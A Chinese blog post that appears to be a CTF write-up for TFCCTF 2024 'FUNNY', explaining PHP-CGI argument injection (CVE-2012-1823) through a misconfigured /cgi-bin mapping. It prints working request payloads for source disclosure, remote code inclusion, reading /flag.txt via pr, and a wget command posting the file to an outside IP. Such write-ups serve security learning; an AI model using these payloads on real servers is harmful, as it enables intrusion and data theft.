【Web】从TFCCTF-FUNNY浅析PHPCGI命令行注入漏洞利用

CSDN 2024-09-09 16:03:02 阅读 68

目录

背景 CVE-2012-1823

发散利用

法一:读文件

法二:数据外带 


背景 CVE-2012-1823

PHP-CGI远程代码执行漏洞(CVE-2012-1823)分析 | 离别歌

省流:

命令行参数不光可以通过#!/usr/local/bin/php-cgi -d include_path=/path的方式传入php-cgi,更可以通过querystring的方式传入

简单复现:

vulhub的环境

<code>/index.php?-s

查看源码

文件包含RCE

<code>/index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input

  

发散利用

以TFCCTF 2024的FUNNY这题为例

附件中有这样一段配置

 

ScriptAlias /cgi-bin /usr/bin:

<code>ScriptAlias指令将URL路径 /cgi-bin 映射到服务器上的实际文件路径 /usr/bin。当访问 http://yourdomain/cgi-bin 时,服务器实际上会访问 /usr/bin 目录中的文件。

Action php-script /cgi-bin/php-cgi:

Action指令将某个处理程序与特定类型的文件关联起来。在这里,将自定义的 php-script 处理程序与路径 /cgi-bin/php-cgi 关联。也就是说,当一个文件被指定为 php-script 类型时,服务器会将其传递给 /cgi-bin/php-cgi 进行处理。

AddHandler php-script .php:

AddHandler指令将文件扩展名 .php 与前面定义的 php-script 处理程序关联。这意味着服务器会将所有扩展名为 .php 的文件当作 php-script 类型文件,并用 /cgi-bin/php-cgi 处理它们。

<Directory /usr/bin>:

该指令块定义了对于 /usr/bin 目录的访问控制规则。Order allow,deny:这行定义了访问控制的顺序,首先 allow(允许)访问,然后 deny(拒绝)。这意味着所有未明确允许的请求将被拒绝。Allow from all:这行允许所有来源的访问。

总的来说,这段配置定义了一个CGI环境,其中所有的 .php 文件会通过位于 /usr/bin 目录中的 php-cgi 脚本进行处理,并允许所有用户访问 /usr/bin 目录。

 扫目录

 

直接将/cgi-bin暴露在web目录中,由于配置文件将/cgi-bin映射到靶机的/usr/bin,这意味着我们可以访问/usr/bin下的所有命令

法一:读文件

类比背景部分的传参:/index.php?-d allow_url_include=on -d auto_prepend_file=php://input

会被执行为

<code>#!/usr/local/bin/php-cgi -d allow_url_include=on -d auto_prepend_file=php://input

这题如果我们访问/cgi-bin/cat?/flag.txt,靶机执行的就是

#!/usr/bin/cat /flag.txt

 但操作后回显404,这意味着靶机/usr/bin下没有cat命令

尝试用nl读文件结果报500,这说明成功执行了/usr/bin/nl命令,但未成功回显

/cgi-bin/nl?/flag.txt 

似乎不能读文件

但其实可以 

pr 命令是一个 Unix 和 Linux 系统中的命令,用于将文本文件格式化为页码化的输出,通常用于打印。pr 命令可以对文本进行分页、添加页眉、页脚、调整列数等,以便于打印或查看。

 payload:

<code>/cgi-bin/pr?/flag.txt

解释一下为什么用pr,是因为只有pr的输出第一行有换行,才能输出,其他的能执行但不能输出

响应包的格式,不换行不能显示在body,而是在header,但数据又不符合http头的格式,会报500

法二:数据外带 

curl回显404

用wget外带数据

哈?命令注入外带数据的姿势还可以这么骚?-腾讯云开发者社区-腾讯云

目标执行#!/usr/bin/wget http://124.222.136.33:1337 ­d --post-file=/flag.txt

payload:

<code>/cgi-bin/wget?http://124.222.136.33:1337+--post-file%3d/flag.txt

成功接收到文件



声明

本文内容仅代表作者观点,或转载于其他网站,本站不以此文作为商业用途
如有涉及侵权,请联系本站进行删除
转载本站原创文章,请注明来源及作者。